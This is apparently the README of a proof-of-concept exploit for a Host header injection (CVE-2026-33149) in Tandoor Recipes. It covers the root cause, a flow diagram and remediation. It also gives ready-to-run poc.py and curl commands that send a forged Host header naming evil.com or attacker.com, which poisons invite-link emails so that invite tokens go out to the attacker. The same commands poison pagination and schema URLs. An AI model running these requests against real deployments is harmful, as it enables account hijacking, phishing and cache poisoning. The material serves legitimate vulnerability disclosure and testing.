
Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning.
Tandoor Recipes sets ALLOWED_HOSTS = '*' by default in settings.py, causing Django to accept any value in the HTTP Host header without validation. The application uses to generate absolute URLs in multiple security-sensitive contexts. An attacker who can send requests with a crafted header can redirect all server-generated URLs to an attacker-controlled domain.
request.build_absolute_uri()HostThe most critical impact is invite link poisoning: when an admin creates a user invite, the email sent by the server contains a link pointing to the attacker's domain. The victim clicks a legitimate-looking email, the invite token is exfiltrated, and the attacker uses it to hijack the account provisioning flow.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Improper Neutralization of HTTP Headers for Scripting Syntax |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Affected Version | Tandoor Recipes ≤ 2.5.3 |
| Vendor | TandoorRecipes/recipes |
File: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django's ALLOWED_HOSTS is a security measure that validates the Host header against a whitelist. The wildcard '*' disables this validation entirely, allowing any arbitrary value.
File: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() constructs URLs using request.get_host(), which returns the raw Host header value when ALLOWED_HOSTS does not restrict it. The invite UUID — a secret token — is embedded in the URL that now points to the attacker.
build_absolute_uri() for next/previous URLs┌──────────┐ ① Crafted Request ┌─────────────────┐
│ Attacker │ ──────────────────────────────→│ Tandoor Server │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
uses "attacker.com"
│
▼
┌────────────────┐
│ SMTP Server │
└────────┬───────┘
│
③ Email with poisoned link:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Victim │
│ (clicks link) │
└────────┬───────┘
│
④ UUID sent to attacker
│
▼
┌────────────────┐
│ Attacker │
│ uses UUID at │
│ real server │
└────────────────┘
requests librarypip install requests
# Run all validation modules with basic auth
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Run all modules with session cookies
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Invite link poisoning only
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Module | Description |
|---|---|
host-accept | Verifies that the target accepts arbitrary Host headers (ALLOWED_HOSTS = '*') |
pagination | Confirms API pagination URLs reflect the injected domain |
schema | Confirms OpenAPI schema server URLs reflect the injected domain |
invite | Creates a poisoned invite link — the primary attack vector |
all | Runs all modules sequentially |
1. Host Header Acceptance
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Expected: 200 (vulnerable) | 400 (patched)
2. Pagination URL Reflection
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Expected: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Schema URL Reflection
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Expected: http://evil.com/...
4. Invite Link Poisoning
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Victim receives email: "Click: http://attacker.com/invite/<uuid>"
| Impact Area | Description | Severity |
|---|---|---|
| Invite Token Hijack | Attacker captures invite UUID via poisoned email link, hijacking account provisioning | Critical |
| Credential Phishing | Victim lands on attacker-controlled domain expecting a legitimate registration page | High |
| Cache Poisoning | In deployments with caching proxies, a single poisoned response contaminates the cache for all users | High |
| API Client Misdirection | Pagination and schema URLs redirect API consumers to attacker infrastructure | Medium |
Set ALLOWED_HOSTS to explicitly list your valid hostnames:
# docker-compose.yml or .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host headers before they reach DjangoUSE_X_FORWARDED_HOST = False — Ensure Django does not trust X-Forwarded-Host from untrusted sources (default is False)SITE_URL configuration for email link generation instead of relying on request.build_absolute_uri()This proof of concept is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this tool.
Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx